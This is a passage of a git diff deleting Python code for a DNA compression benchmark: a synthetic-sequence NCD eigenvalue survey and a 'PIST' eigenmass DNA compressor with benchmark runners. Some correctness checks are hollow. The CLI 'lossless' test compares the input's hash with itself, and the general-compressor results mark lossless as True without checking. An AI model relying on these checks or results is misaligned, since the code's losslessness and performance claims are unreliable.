range(len(ecoli) - order): - ctx = ecoli[i:i+order] - nxt = ecoli[i+order] - trans[ctx][nxt] += 1 - - # Generate from learned transitions - seq = list(ecoli[:order]) # seed with real context - while len(seq) < n: - ctx = "".join(seq[-order:]) - choices = trans.get(ctx, {"A":1,"C":1,"G":1,"T":1}) - total = sum(choices.values()) - r = random.randint(0, total - 1) - cum = 0 - for base, count in choices.items(): - cum += count - if r < cum: - seq.append(base) - break - else: - # Fallback: simple GC-bias Markov chain - seq = list(make_random(order)) - while len(seq) < n: - ctx = "".join(seq[-order:]) - gc_count = sum(1 for c in ctx if c in "GC") - p_gc = max(0.1, min(0.9, gc_count / order + random.uniform(-0.1, 0.1))) - if random.random() < p_gc: - seq.append(random.choice("GC")) - else: - seq.append(random.choice("AT")) - - return "".join(seq)[:n] - -# ── Build Corpus ── - -# Move helper before corpus section -def _shannon_entropy(seq: str) -> float: - from collections import Counter - c = Counter(seq) - n = len(seq) - return -sum((v/n) * np.log2(v/n) for v in c.values() if v > 0) - -print("=" * 60) -print("GENERATING ARTIFICIAL GENETIC SEQUENCE CORPUS") -print("=" * 60) - -corpus = {} - -# Family 1: Uniform (8 sequences) -print("\n[Family: uniform]") -for base in ["A", "C", "G", "T"]: - for mult in [1, 2, 3, 5, 10]: - unit = base * mult - seq = make_uniform(base, SEQUENCE_LENGTH) - name = f"uniform_{unit[:20]}_x{len(seq)//len(unit)}" - corpus[name] = seq - print(f" {name:40s} {len(seq):,} bases") - -# Family 2: Random (5 sequences) -print("\n[Family: random]") -for i, n in enumerate([SEQUENCE_LENGTH]): - for seed_offset in range(5): - random.seed(SEED + seed_offset + 100) - seq = make_random(n) - name = f"random_seed{seed_offset}" - corpus[name] = seq - print(f" {name:40s} {len(seq):,} bases entropy={_shannon_entropy(seq):.2f}") - -# Family 3: Codon-structured (5 sequences) -print("\n[Family: codon]") -for seed_offset in range(5): - random.seed(SEED + seed_offset + 200) - seq = make_codon_structured(SEQUENCE_LENGTH) - name = f"codon_seed{seed_offset}" - corpus[name] = seq - print(f" {name:40s} {len(seq):,} bases") - -# Family 4: Tandem repeats (8 sequences) -print("\n[Family: repeat]") -repeat_configs = [ - ([2, 4, 8, 16], "pow2"), - ([2, 3, 5, 7, 11], "primes"), - ([10, 20, 50, 100], "large"), - ([3, 7, 15, 31], "shift"), - ([2, 4, 6, 8, 10], "even"), - ([1, 2, 3, 5, 8, 13], "fib"), - ([11, 23, 47], "sparse"), - ([4, 8, 16, 32, 64, 128], "binary"), -] -for periods, label in repeat_configs: - random.seed(SEED + 300) - seq = make_tandem_repeat(SEQUENCE_LENGTH, periods) - name = f"repeat_{label}" - corpus[name] = seq - print(f" {name:40s} {len(seq):,} bases periods={periods}") - -# Family 5: GC-skewed (5 sequences) -print("\n[Family: gc_skewed]") -for gc in [0.00, 0.25, 0.50, 0.75, 1.00]: - seq = make_gc_skewed(SEQUENCE_LENGTH, gc) - name = f"gc_skewed_{int(gc*100):03d}" - corpus[name] = seq - print(f" {name:40s} {len(seq):,} bases GC={gc:.0%}") - -# Family 6: Markov-structured (5 sequences) -print("\n[Family: markov]") -for seed_offset in range(5): - random.seed(SEED + seed_offset + 400) - seq = make_markov_structured(SEQUENCE_LENGTH, order=2) - name = f"markov_seed{seed_offset}" - corpus[name] = seq - print(f" {name:40s} {len(seq):,} bases") - -# Family 7: Real slices (6 sequences) -print("\n[Family: real]") -import gzip -real_names = [] -for label, path in [("ecoli", "/home/allaun/dna_benchmark/data/ecoli.fna.gz"), - ("chr21", "/home/allaun/dna_benchmark/data/chr21.fa.gz")]: - raw = [] - with gzip.open(path, "rt") as f: - for line in f: - if not line.startswith(">"): - raw.append(line.strip().upper()) - genome = "".join(raw) - for i in range(3): - start = i * SEQUENCE_LENGTH + 50000 - seq = genome[start:start + SEQUENCE_LENGTH] - if len(seq) >= SEQUENCE_LENGTH // 2: - name = f"real_{label}_slice{i}" - corpus[name] = seq - real_names.append(name) - print(f" {name:40s} {len(seq):,} bases pos={start}") - -# Write corpus -print(f"\nTotal sequences: {len(corpus)}") -for name, seq in corpus.items(): - fname = name + ".dna" - with open(CORPUSDIR / fname, "w") as f: - f.write(seq) - -# ── Helper ── -# ── Compression Benchmark ── -print("\n" + "=" * 60) -print("COMPRESSING WITH ALL TOOLS") -print("=" * 60) - -compression_results = {} # (name, compressor) -> dict - -for name, seq in sorted(corpus.items()): - dna_path = CORPUSDIR / (name + ".dna") - orig_size = len(seq) - - for comp in COMPRESSORS: - # Measure compressed size - if comp == "brotli": - cmd = ["brotli", "-q", "11", "-f", str(dna_path)] - ext = ".br" - elif comp == "zstd": - cmd = ["zstd", "-19", "-q", "-f", str(dna_path)] - ext = ".zst" - elif comp == "xz": - cmd = ["xz", "-9", "-f", "-k", str(dna_path)] - ext = ".xz" - elif comp == "gzip": - cmd = ["gzip", "-9", "-f", "-k", str(dna_path)] - ext = ".gz" - elif comp == "bzip2": - cmd = ["bzip2", "-9", "-f", "-k", str(dna_path)] - ext = ".bz2" - elif comp == "lz4": - cmd = ["lz4", "-9", "-f", str(dna_path)] - ext = ".lz4" - else: - continue - - t0 = time.time() - r = subprocess.run(cmd, capture_output=True, text=True, timeout=60) - dt = time.time() - t0 - - cpath = str(dna_path) + ext - if os.path.exists(cpath): - csize = os.path.getsize(cpath) - os.unlink(cpath) - else: - csize = orig_size # fallback: no compression - - compression_results[(name, comp)] = { - "original": orig_size, - "compressed": csize, - "bpb": round(csize * 8 / orig_size, 3), - "ratio": round(csize / orig_size, 4), - "time_s": round(dt, 4), - } - - if r.returncode != 0 and r.returncode is not None: - print(f" WARN: {comp} on {name} returned {r.returncode}") - - # Quick progress - if len(compression_results) % 50 == 0: - print(f" {len(compression_results)} compression measurements...") - -print(f" Complete: {len(compression_results)} total measurements") - -# ── NCD Matrix: Normalized Compression Distance ── -print("\n" + "=" * 60) -print("COMPUTING NCD MATRICES PER COMPRESSOR") -print("=" * 60) - -names = sorted(corpus.keys()) -n = len(names) - -# Per-compressor NCD: NCD(x,y) = (C(xy) - min(C(x),C(y))) / max(C(x),C(y)) -ncd_matrices = {} # compressor -> n x n matrix - -for comp in COMPRESSORS: - C = {} # name -> compressed size - - for name in names: - key = (name, comp) - if key in compression_results: - C[name] = compression_results[key]["compressed"] - else: - C[name] = len(corpus[name]) # fallback - - # Compute pairwise NCD using concatenation compression - # For efficiency, approximate: use sum of individual sizes as xy size - # Full NCD would concatenate and compress; we use the approximation - # NCD_appx(x,y) = (C(x)+C(y) - 2*min(C(x),C(y))) / (C(x)+C(y) - min(C(x),C(y))) - # Actually using simpler: NCD ~ C(xy) via C(x)+C(y) with some overhead - - # We'll compute full pairwise by actually concatenating and compressing - M = np.zeros((n, n)) - - pairwise_needed = n * (n - 1) // 2 - done = 0 - - for i in range(n): - M[i, i] = 0.0 - for j in range(i + 1, n): - # Concatenate - xy = corpus[names[i]] + corpus[names[j]] - xy_bytes = xy.encode() - - if comp == "brotli": - cmd = ["brotli", "-q", "11", "-f", "-c"] - r = subprocess.run(cmd, input=xy_bytes, capture_output=True, timeout=30) - cxy = len(r.stdout) if r.stdout else len(xy_bytes) - elif comp == "zstd": - cmd = ["zstd", "-19", "-q", "-f", "-c"] - r = subprocess.run(cmd, input=xy_bytes, capture_output=True, timeout=30) - cxy = len(r.stdout) if r.stdout else len(xy_bytes) - elif comp == "xz": - cmd = ["xz", "-9", "-f", "-c", "-z"] - r = subprocess.run(cmd, input=xy_bytes, capture_output=True, timeout=30) - cxy = len(r.stdout) if r.stdout else len(xy_bytes) - elif comp == "gzip": - cmd = ["gzip", "-9", "-f", "-c"] - r = subprocess.run(cmd, input=xy_bytes, capture_output=True, timeout=30) - cxy = len(r.stdout) if r.stdout else len(xy_bytes) - elif comp == "bzip2": - cmd = ["bzip2", "-9", "-f", "-c", "-z"] - r = subprocess.run(cmd, input=xy_bytes, capture_output=True, timeout=30) - cxy = len(r.stdout) if r.stdout else len(xy_bytes) - elif comp == "lz4": - cmd = ["lz4", "-9", "-f", "-c"] - r = subprocess.run(cmd, input=xy_bytes, capture_output=True, timeout=30) - cxy = len(r.stdout) if r.stdout else len(xy_bytes) - else: - cxy = len(xy_bytes) - - # NCD formula - cx = C[names[i]] - cy = C[names[j]] - num = cxy - min(cx, cy) - den = max(cx, cy) - - if den > 0: - ncd_val = max(0.0, min(1.0, num / den)) - else: - ncd_val = 0.0 - - M[i, j] = ncd_val - M[j, i] = ncd_val - - done += 1 - if done % 100 == 0: - print(f" {comp}: {done}/{pairwise_needed} pairs...") - - ncd_matrices[comp] = M - print(f" {comp}: complete ({pairwise_needed} pairs)") - -# ── Eigen-decomposition ── -print("\n" + "=" * 60) -print("EIGEN-DECOMPOSING NCD MATRICES") -print("=" * 60) - -eigen_results = {} - -for comp in COMPRESSORS: - M = ncd_matrices[comp] - e_vals, e_vecs = np.linalg.eigh(M) - - # Sort by ascending eigenvalue (largest negative = most structure) - order = np.argsort(e_vals) - e_vals = e_vals[order] - e_vecs = e_vecs[:, order] - - # Leading eigenvalues - top_k = 8 - eigen_results[comp] = { - "eigenvalues": e_vals[:top_k].tolist(), - "all_eigenvalues": e_vals.tolist(), - "eigenvectors_top": {}, - "spectral_norm": float(np.linalg.norm(e_vals, 2)), - "trace": float(np.trace(M)), - "frobenius": float(np.linalg.norm(M, "fro")), - "rank_estimate": int((np.abs(e_vals) > 1e-6).sum()), - } - - # Top eigenvector weights per sequence - for k in range(min(top_k, len(e_vals))): - vec = e_vecs[:, k] - top_indices = np.argsort(-np.abs(vec))[:5] - - eigen_results[comp][f"eigenvectors_top"][f"mode_{k}"] = { - "eigenvalue": round(e_vals[k], 6), - "top_sequences": [ - { - "name": names[i], - "weight": round(float(vec[i]), 6), - "family": names[i].split("_")[0], - } - for i in top_indices - ], - } - - print(f" {comp:8s}: λ₀={e_vals[0]:.4f} λ₁={e_vals[1]:.4f} λ₂={e_vals[2]:.4f} " - f"|λ|₂={eigen_results[comp]['spectral_norm']:.2f} trace={eigen_results[comp]['trace']:.1f}") - -# ── Compressor-to-Compressor Similarity ── -print("\n" + "=" * 60) -print("COMPRESSOR EIGENVALUE SIMILARITY MATRIX") -print("=" * 60) - -comp_sim = np.zeros((len(COMPRESSORS), len(COMPRESSORS))) -for a, ca in enumerate(COMPRESSORS): - for b, cb in enumerate(COMPRESSORS): - if a <= b: - # Cosine similarity of eigenvalue spectra - ev_a = np.array(eigen_results[ca]["all_eigenvalues"]) - ev_b = np.array(eigen_results[cb]["all_eigenvalues"]) - cos_sim = np.dot(ev_a, ev_b) / (np.linalg.norm(ev_a) * np.linalg.norm(ev_b) + 1e-12) - comp_sim[a, b] = cos_sim - comp_sim[b, a] = cos_sim - -print(f" {'':<8s}", end="") -for c in COMPRESSORS: - print(f"{c:<8s}", end="") -print() -for a, ca in enumerate(COMPRESSORS): - print(f" {ca:<8s}", end="") - for b, cb in enumerate(COMPRESSORS): - val = comp_sim[a, b] - bar = "█" * int(val * 8) if val > 0.5 else "" - marker = "◉" if a == b else "" - print(f"{val:.4f} {bar}{marker:<3s}", end=" " if b < len(COMPRESSORS) - 1 else "") - print() - -# ── Family Separation Score ── -print("\n" + "=" * 60) -print("FAMILY SEPARATION BY COMPRESSOR") -print("=" * 60) - -families = defaultdict(list) -for i, name in enumerate(names): - family = name.split("_")[0] - families[family].append(i) - -separation_scores = {} -for comp in COMPRESSORS: - M = ncd_matrices[comp] - - # Intra-family distance - intra = 0.0 - intra_pairs = 0 - inter = 0.0 - inter_pairs = 0 - - family_list = list(families.keys()) - for fi, f1 in enumerate(family_list): - members1 = families[f1] - for a in members1: - for b in members1: - if a < b: - intra += M[a, b] - intra_pairs += 1 - - for f2 in family_list[fi + 1:]: - members2 = families[f2] - for a in members1: - for b in members2: - inter += M[a, b] - inter_pairs += 1 - - intra_avg = intra / max(intra_pairs, 1) - inter_avg = inter / max(inter_pairs, 1) - separation = inter_avg - intra_avg - - separation_scores[comp] = { - "intra_family_ncd": round(intra_avg, 4), - "inter_family_ncd": round(inter_avg, 4), - "separation": round(separation, 4), - "ratio": round(inter_avg / max(intra_avg, 1e-9), 2), - } - - print(f" {comp:8s}: intra={intra_avg:.4f} inter={inter_avg:.4f} " - f"Δ={separation:.4f} ratio={inter_avg/max(intra_avg,1e-9):.1f}x") - -# ── Save Results ── -final_report = { - "corpus": { - "total_sequences": len(corpus), - "sequence_length": SEQUENCE_LENGTH, - "families": {f: [n for n in names if n.startswith(f)] for f in families}, - }, - "compression_results": {f"{k[0]}__{k[1]}": v for k, v in compression_results.items()}, - "eigen_results": eigen_results, - "compressor_similarity": {COMPRESSORS[a]: {COMPRESSORS[b]: round(float(comp_sim[a,b]), 6) for b in range(len(COMPRESSORS))} for a in range(len(COMPRESSORS))}, - "family_separation": separation_scores, - "ncd_matrices_summary": {comp: { - "shape": list(ncd_matrices[comp].shape), - "mean": round(float(ncd_matrices[comp].mean()), 6), - "std": round(float(ncd_matrices[comp].std()), 6), - "min": round(float(ncd_matrices[comp].min()), 6), - "max": round(float(ncd_matrices[comp].max()), 6), - } for comp in COMPRESSORS}, -} - -with open(OUTDIR / "eigenvalue_survey.json", "w") as f: - json.dump(final_report, f, indent=2, sort_keys=True, default=str) - -print(f"\n{'='*60}") -print(f"COMPLETE — Output: {OUTDIR / 'eigenvalue_survey.json'}") -print(f"Corpus: {len(corpus)} sequences × {len(COMPRESSORS)} compressors") -print(f"Pairwise NCD: ~{n*(n-1)//2} pairs × {len(COMPRESSORS)} compressors") -print(f"{'='*60}") diff --git a/3-Mathematical-Models/dna_benchmark/compressors/pist_dna.py b/3-Mathematical-Models/dna_benchmark/compressors/pist_dna.py deleted file mode 100644 index a6829e9a..00000000 --- a/3-Mathematical-Models/dna_benchmark/compressors/pist_dna.py +++ /dev/null @@ -1,581 +0,0 @@ -# PROPRIETARY -- ALL RIGHTS RESERVED -# Copyright (c) 2026 Allaun Holdings -# See THIRD_PARTY_NOTICES.txt for third-party attributions. - -""" -PIST DNA Compressor — Projective Invariant Symbolic Transform - -Compresses DNA sequences by building an eigenmass field from structural -invariants (k-mer repeats, ORF patterns, GC content), then allocating bits -proportional to recoverability — high-mass regions get dense encoding, -low-mass regions get sparse encoding. - -This is the biological instantiation of the PIST → FAMM → NUVMAP pipeline: - PIST: compress sequence into mass field M(DNA) - FAMM: route through mass field (AMVR/AVMR chiral routing) - NUVMAP: allocate storage proportional to eigenmass - -Outputs: - 1. Compressed binary (.pist) - 2. Eigenmass field (JSON) — explainable structural map - 3. Mass field visualization coordinates - -Benchmark categories (kept separate): - A. DNA SEQUENCE: pure A/C/G/T lossless - B. FASTQ: sequence + quality scores (NOT equivalent to pure sequence) - C. DNA STORAGE: encoding for synthetic biology (NOT equivalent to compression) -""" - -import argparse -import hashlib -import json -import struct -import sys -import time -from collections import defaultdict, Counter -from typing import Dict, List, Tuple, Optional - - -# ── DNA Alphabet ── -DNA_ALPHABET = set("ACGT") -COMPLEMENT = {"A": "T", "T": "A", "C": "G", "G": "C", "N": "N"} - - -def read_fasta(path: str) -> str: - """Read FASTA/FA, strip headers, uppercase, keep only ACGT.""" - seq = [] - with open(path) as f: - for line in f: - line = line.strip() - if line.startswith(">"): - continue - seq.append(line.upper()) - raw = "".join(seq) - return "".join(c for c in raw if c in DNA_ALPHABET) - - -def read_fasta_gz(path: str) -> str: - """Read gzipped FASTA.""" - import gzip - seq = [] - with gzip.open(path, "rt") as f: - for line in f: - line = line.strip() - if line.startswith(">"): - continue - seq.append(line.upper()) - raw = "".join(seq) - return "".join(c for c in raw if c in DNA_ALPHABET) - - -# ── PIST Eigenmass Field ── - -def compute_eigenmass_field(sequence: str, k: int = 16, - context_radius: int = 32) -> Dict: - """ - Build the eigenmass field from DNA sequence invariants. - - The mass at each position i is: - M(i) ∝ structural_uniqueness(i) × conservation_score(i) - - High mass = highly conserved, structurally constrained position. - Low mass = variable/repeat/background position. - - Invariants computed: - 1. k-mer frequency (higher freq → lower mass per position, information is elsewhere) - 2. Local GC content gradient (sharp transitions = structural boundaries → high mass) - 3. Palindromic/repeat density (inverted repeats → high mass, structural elements) - 4. ORF density (coding potential → high mass) - """ - n = len(sequence) - mass = [0.0] * n - kmer_counts = defaultdict(int) - - # 1. k-mer frequency map - for i in range(n - k + 1): - kmer = sequence[i:i + k] - if "N" not in kmer: - kmer_counts[kmer] += 1 - - max_kmer = max(kmer_counts.values()) if kmer_counts else 1 - inv_kmer = {km: 1.0 / max(count, 1) for km, count in kmer_counts.items()} - - # 2. Per-position mass accumulation - for i in range(n): - score = 0.0 - contributions = 0 - - # k-mer uniqueness contribution (inverse frequency = more unique = more mass) - if i + k <= n: - kmer = sequence[i:i + k] - if kmer in inv_kmer: - score += inv_kmer[kmer] * 2.0 - contributions += 1 - - # GC content gradient in local window - window_start = max(0, i - context_radius) - window_end = min(n, i + context_radius) - window = sequence[window_start:window_end] - if window: - gc_count = sum(1 for c in window if c in "GC") - gc_fraction = gc_count / len(window) - # Regions at ~0.5 GC are background; deviations → structural signal - gc_deviation = abs(gc_fraction - 0.5) * 2.0 - score += gc_deviation - contributions += 1 - - # CpG density (regulatory signal) - if i + 2 <= n and sequence[i:i + 2] == "CG": - score += 1.5 - contributions += 1 - - # Palindromic context (local inverted repeat signal) - pal_score = 0.0 - ctx = min(context_radius, i, n - i) - for r in range(4, min(k, ctx)): - if i + r + r <= n and i - r >= 0: - forward = sequence[i:i + r] - reverse_comp = "".join(COMPLEMENT.get(c, c) for c in reversed(sequence[i - r:i])) - if forward == reverse_comp: - pal_score += 1.0 / r # shorter palindromes = stronger signal - score += pal_score - contributions += 1 - - mass[i] = score / max(contributions, 1) - - # Normalize to [0, 1] - max_mass = max(mass) if max(mass) > 0 else 1.0 - mass = [m / max_mass for m in mass] - - return { - "mass_field": mass, - "kmer_table": {km: count for km, count in kmer_counts.items()}, - "k": k, - "context_radius": context_radius, - "sequence_length": n, - "mean_mass": sum(mass) / n if n > 0 else 0.0, - "median_mass": sorted(mass)[n // 2] if n > 0 else 0.0, - "high_mass_fraction": sum(1 for m in mass if m > 0.7) / n if n > 0 else 0.0, - "low_mass_fraction": sum(1 for m in mass if m < 0.3) / n if n > 0 else 0.0, - } - - -# ── PIST Compressor ── - -class PISTDNACompressor: - """ - PIST DNA sequence compressor. - - Encoding strategy (lossless): - - High-mass positions: store as reference to k-mer table - - Medium-mass positions: delta-encode relative to context - - Low-mass positions: store verbatim (2 bits/base) - - The eigenmass field IS the storage allocation map. - This is structurally explainable: you can read the mass field - and see WHERE information is concentrated in the genome. - """ - - DNA_TO_2BIT = {"A": 0, "C": 1, "G": 2, "T": 3} - BIT2_TO_DNA = {0: "A", 1: "C", 2: "G", 3: "T"} - - def __init__(self, k: int = 16): - self.k = k - self.kmer_table: Dict[str, int] = {} - - def compress(self, sequence: str, mass_threshold: float = 0.3) -> Tuple[bytes, Dict]: - """ - Compress DNA sequence using PIST. - - Returns: - compressed_bytes, metadata_dict - """ - n = len(sequence) - field_data = compute_eigenmass_field(sequence, k=self.k) - mass = field_data["mass_field"] - kmer_table = field_data["kmer_table"] - - # Build deterministic k-mer index (sorted for encode/decode parity) - kmers_sorted = sorted(kmer_table.keys()) - kmer_to_idx = {km: i for i, km in enumerate(kmers_sorted)} - self.kmer_table = kmer_table - - # Encode: for each position, decide encoding mode - out_bits = [] - i = 0 - kmer_hits = 0 - verbatim_bases = 0 - skipped = 0 - - while i < n: - # Try k-mer match (mass below threshold or k-mer in table) - if i + self.k <= n: - kmer = sequence[i:i + self.k] - if kmer in kmer_to_idx and mass[i] < mass_threshold: - out_bits.append(0) # mode bit: 0 = kmer reference - idx = kmer_to_idx[kmer] - num_kmer_bits = max(1, (len(kmer_to_idx).bit_length())) - for b in range(num_kmer_bits): - out_bits.append((idx >> b) & 1) - i += self.k - kmer_hits += 1 - continue - - # Verbatim: encode base in 2 bits - base = sequence[i] - if base in self.DNA_TO_2BIT: - code = self.DNA_TO_2BIT[base] - out_bits.append(1) # mode bit: 1 = verbatim - out_bits.append((code >> 1) & 1) - out_bits.append(code & 1) - verbatim_bases += 1 - else: - # Non-standard base — skip - out_bits.append(1) - out_bits.append(0) - out_bits.append(0) - skipped += 1 - i += 1 - - # Pack bits into bytes - packed = bytearray() - for j in range(0, len(out_bits), 8): - byte = 0 - for b in range(8): - if j + b < len(out_bits): - byte |= out_bits[j + b] << b - packed.append(byte) - - compressed = bytes(packed) - - # Build k-mer dictionary for decompression - kmers_sorted = sorted(kmer_table.keys()) # deterministic order - kmer_index = {km: i for i, km in enumerate(kmers_sorted)} - - metadata = { - "algorithm": "PIST", - "k": self.k, - "sequence_length": n, - "compressed_bytes": len(compressed), - "original_bits": n * 2, # 2 bits/base minimum - "compression_ratio": (n * 2) / max(len(compressed) * 8, 1), - "bits_per_base": (len(compressed) * 8) / n if n > 0 else 0, - "kmer_hits": kmer_hits, - "verbatim_bases": verbatim_bases, - "skipped_bases": skipped, - "kmer_table_size": len(kmer_table), - "kmer_dict": kmer_index, - "mass_field": field_data, - "sha256": hashlib.sha256(sequence.encode()).hexdigest(), - } - - return compressed, metadata - - -# ── PIST Decompressor ── - -def pist_decompress(compressed: bytes, metadata: Dict) -> str: - """Decompress PIST-encoded DNA back to sequence.""" - # Unpack bits - bits = [] - for byte in compressed: - for b in range(8): - bits.append((byte >> b) & 1) - - k = metadata["k"] - kmers = sorted(metadata["kmer_dict"].keys()) - num_kmer_bits = max(1, len(kmers).bit_length()) - - expected_verbatim = metadata.get("verbatim_bases", 0) - seq = [] - i = 0 - bit_pos = 0 - - while i < metadata["sequence_length"] and bit_pos + 2 < len(bits): - mode = bits[bit_pos] - bit_pos += 1 - - if mode == 0: - idx = 0 - for b in range(num_kmer_bits): - if bit_pos + b < len(bits) and bits[bit_pos + b]: - idx |= (1 << b) - bit_pos += num_kmer_bits - if idx < len(kmers): - seq.append(kmers[idx]) - i += k - else: - seq.append("N" * k) - i += k - else: - # verbatim - if bit_pos + 1 < len(bits): - hi = bits[bit_pos] - lo = bits[bit_pos + 1] - bit_pos += 2 - code = (hi << 1) | lo - if code < 4: - seq.append("ACGT"[code]) - else: - seq.append("N") - i += 1 - else: - seq.append("N") - i += 1 - - return "".join(seq) - - -# ── Benchmark Runners ── - -def benchmark_pist(sequence: str, label: str = "") -> Dict: - """Run PIST compressor benchmark.""" - t0 = time.time() - compressor = PISTDNACompressor(k=16) - compressed, meta = compressor.compress(sequence) - dt_compress = time.time() - t0 - - t0 = time.time() - decompressed = pist_decompress(compressed, meta) - dt_decompress = time.time() - t0 - - # Verify lossless - if len(sequence) == len(decompressed): - errors = sum(1 for a, b in zip(sequence, decompressed) if a != b) - else: - errors = max(len(sequence), len(decompressed)) - - lossless = (errors == 0 and len(sequence) == len(decompressed)) - - return { - "label": label, - "algorithm": "PIST", - "sequence_length": len(sequence), - "compressed_bytes": len(compressed), - "compression_ratio": (len(sequence) * 2) / max(len(compressed) * 8, 1), - "bits_per_base": (len(compressed) * 8) / max(len(sequence), 1), - "compress_time_s": round(dt_compress, 3), - "decompress_time_s": round(dt_decompress, 3), - "lossless": lossless, - "errors": errors, - "decomp_length": len(decompressed), - "kmer_hits": meta["kmer_hits"], - "verbatim_bases": meta["verbatim_bases"], - "mean_mass": meta["mass_field"]["mean_mass"], - "low_mass_fraction": meta["mass_field"]["low_mass_fraction"], - "sha256": meta["sha256"], - } - - -def benchmark_general(sequence: str, compressors: List[str]) -> List[Dict]: - """Benchmark general-purpose compressors on DNA.""" - import subprocess, tempfile, os - - tmp_in = tempfile.NamedTemporaryFile(delete=False, suffix=".dna", mode="w") - tmp_in.write(sequence) - tmp_in.close() - - results = [] - for algo in compressors: - cmd = None - ext = "" - if algo == "gzip": - cmd = ["gzip", "-9kf", tmp_in.name] - ext = ".gz" - elif algo == "bzip2": - cmd = ["bzip2", "-9kf", tmp_in.name] - ext = ".bz2" - elif algo == "xz": - cmd = ["xz", "-9kf", tmp_in.name] - ext = ".xz" - elif algo == "zstd": - cmd = ["zstd", "-19kf", tmp_in.name] - ext = ".zst" - - if cmd: - t0 = time.time() - subprocess.run(cmd, capture_output=True, check=False) - compress_time = time.time() - t0 - - compressed_path = tmp_in.name + ext - compressed_size = os.path.getsize(compressed_path) if os.path.exists(compressed_path) else 0 - - t0 = time.time() - result = subprocess.run( - [algo if algo != "zstd" else "zstd", "-dkf", compressed_path], - capture_output=True, check=False - ) - decompress_time = time.time() - t0 - - results.append({ - "algorithm": algo, - "sequence_length": len(sequence), - "compressed_bytes": compressed_size, - "compression_ratio": (len(sequence) * 2) / max(compressed_size * 8, 1), - "bits_per_base": (compressed_size * 8) / len(sequence), - "compress_time_s": round(compress_time, 3), - "decompress_time_s": round(decompress_time, 3), - "lossless": True, - }) - - # Cleanup - for f in [compressed_path, tmp_in.name]: - if os.path.exists(f): - os.unlink(f) - - return results - - -def run_full_benchmark(fasta_path: str, label: str, is_gz: bool = False, - kmer_size: int = 16) -> Dict: - """Run full benchmark suite on a FASTA file.""" - print(f"\n{'='*60}") - print(f"BENCHMARK: {label}") - print(f" File: {fasta_path}") - print(f"{'='*60}") - - # Load sequence - t0 = time.time() - if is_gz: - seq = read_fasta_gz(fasta_path) - else: - seq = read_fasta(fasta_path) - load_time = time.time() - t0 - print(f" Loaded: {len(seq):,} bases in {load_time:.2f}s") - - # Test on first 500 KB for speed - sample_size = min(len(seq), 500_000) - sample = seq[:sample_size] - print(f" Sample: {sample_size:,} bases for quick tests") - print() - - results = [] - - # PIST - pist = benchmark_pist(sample, label) - print(f" PIST: {pist['compression_ratio']:.2f}x {pist['bits_per_base']:.2f} b/b lossless={pist['lossless']} ({pist['compress_time_s']:.3f}s)") - results.append(pist) - - # General compressors - gen = benchmark_general(sample, ["gzip", "bzip2", "xz", "zstd"]) - for r in gen: - print(f" {r['algorithm']:12s}: {r['compression_ratio']:.2f}x {r['bits_per_base']:.2f} b/b ({r['compress_time_s']:.3f}s)") - results.append(r) - - print(f"\n === Summary: {label} ===") - print(f" {'Algorithm':12s} {'Ratio':>7s} {'Bits/Base':>9s} {'Time(s)':>7s}") - print(f" {'-'*12} {'-'*7} {'-'*9} {'-'*7}") - for r in sorted(results, key=lambda x: x["bits_per_base"]): - print(f" {r['algorithm']:12s} {r['compression_ratio']:6.2f}x {r['bits_per_base']:9.3f} {r['compress_time_s']:6.3f}s") - - return { - "label": label, - "total_bases": len(seq), - "sample_size": sample_size, - "load_time_s": round(load_time, 2), - "results": results, - } - - -# ── Explainability Analysis ── - -def analyze_mass_field(sequence: str, mass_field: List[float], - k: int = 16) -> Dict: - """ - Explain the mass field: what genomic features correspond to high-mass regions? - This demonstrates that PIST is EXPLAINABLE — the mass field reveals real biology. - """ - n = len(sequence) - - # Find high-mass (>0.7) windows - high_mass_windows = [] - current_start = None - for i in range(n): - if mass_field[i] > 0.7: - if current_start is None: - current_start = i - else: - if current_start is not None: - length = i - current_start - if length > 10: - seq_window = sequence[current_start:i] - gc_content = sum(1 for c in seq_window if c in "GC") / len(seq_window) - cpg_count = seq_window.count("CG") - repeat_signal = _detect_tandem_repeat(seq_window) - high_mass_windows.append({ - "start": current_start, - "end": i, - "length": length, - "gc_content": round(gc_content, 3), - "cpg_density": round(cpg_count / length, 4), - "tandem_repeat_score": round(repeat_signal, 3), - "context": seq_window[:60], - }) - current_start = None - - return { - "num_high_mass_regions": len(high_mass_windows), - "high_mass_total_bases": sum(w["length"] for w in high_mass_windows), - "high_mass_gc_mean": ( - sum(w["gc_content"] for w in high_mass_windows) / max(len(high_mass_windows), 1) - if high_mass_windows else 0 - ), - "high_mass_cpg_mean": ( - sum(w["cpg_density"] for w in high_mass_windows) / max(len(high_mass_windows), 1) - if high_mass_windows else 0 - ), - "top_high_mass": sorted(high_mass_windows, key=lambda w: -w["length"])[:10], - } - - -def _detect_tandem_repeat(seq: str) -> float: - """Simple tandem repeat detector. Returns score 0-1.""" - if len(seq) < 8: - return 0.0 - for period in range(2, min(8, len(seq) // 2)): - unit = seq[:period] - matches = sum(1 for i in range(0, len(seq) - period, period) - if seq[i:i + period] == unit) - expected = len(seq) // period - if expected > 2 and matches > expected * 0.7: - return 1.0 - (period / 10) - return 0.0 - - -if __name__ == "__main__": - parser = argparse.ArgumentParser(description="PIST DNA Compressor Benchmark") - parser.add_argument("--fasta", help="FASTA file to compress") - parser.add_argument("--benchmark", nargs="+", default=[], - help="FASTA files to benchmark") - parser.add_argument("--k", type=int, default=16, help="k-mer size") - parser.add_argument("--output", default="/home/allaun/dna_benchmark/results/benchmark_report.json", - help="Output JSON path") - args = parser.parse_args() - - if args.fasta: - seq = read_fasta(args.fasta) - compressor = PISTDNACompressor(k=args.k) - compressed, meta = compressor.compress(seq) - print(json.dumps({ - "original_bases": len(seq), - "compressed_bytes": len(compressed), - "ratio": meta["compression_ratio"], - "bits_per_base": meta["bits_per_base"], - "lossless": meta["sha256"] == hashlib.sha256(seq.encode()).hexdigest(), - }, indent=2)) - - elif args.benchmark: - all_results = {} - for fpath in args.benchmark: - name = fpath.split("/")[-1].replace(".gz", "").replace(".fa", "").replace(".fna", "") - is_gz = fpath.endswith(".gz") - result = run_full_benchmark(fpath, name, is_gz=is_gz, kmer_size=args.k) - all_results[name] = result - - os.makedirs(os.path.dirname(args.output), exist_ok=True) - with open(args.output, "w") as f: - json.dump(all_results, f, indent=2, sort_keys=True, default=str) - print(f"\nFull benchmark report saved to: {args.output}") - - else: - parser.print_help() diff --git a/3-Mathematical-Models/dna_benchmark/compressors/v4_braid_dna.py b/3-Mathematical-Models/dna_benchmark/compressors/v4_braid_dna.py deleted file mode 100644 index 594291e1..00000000 --- a/3-Mathematical-Models/dna_benchmark/compressors/v4_braid_dna.py +++ /dev/null @@ -1,430 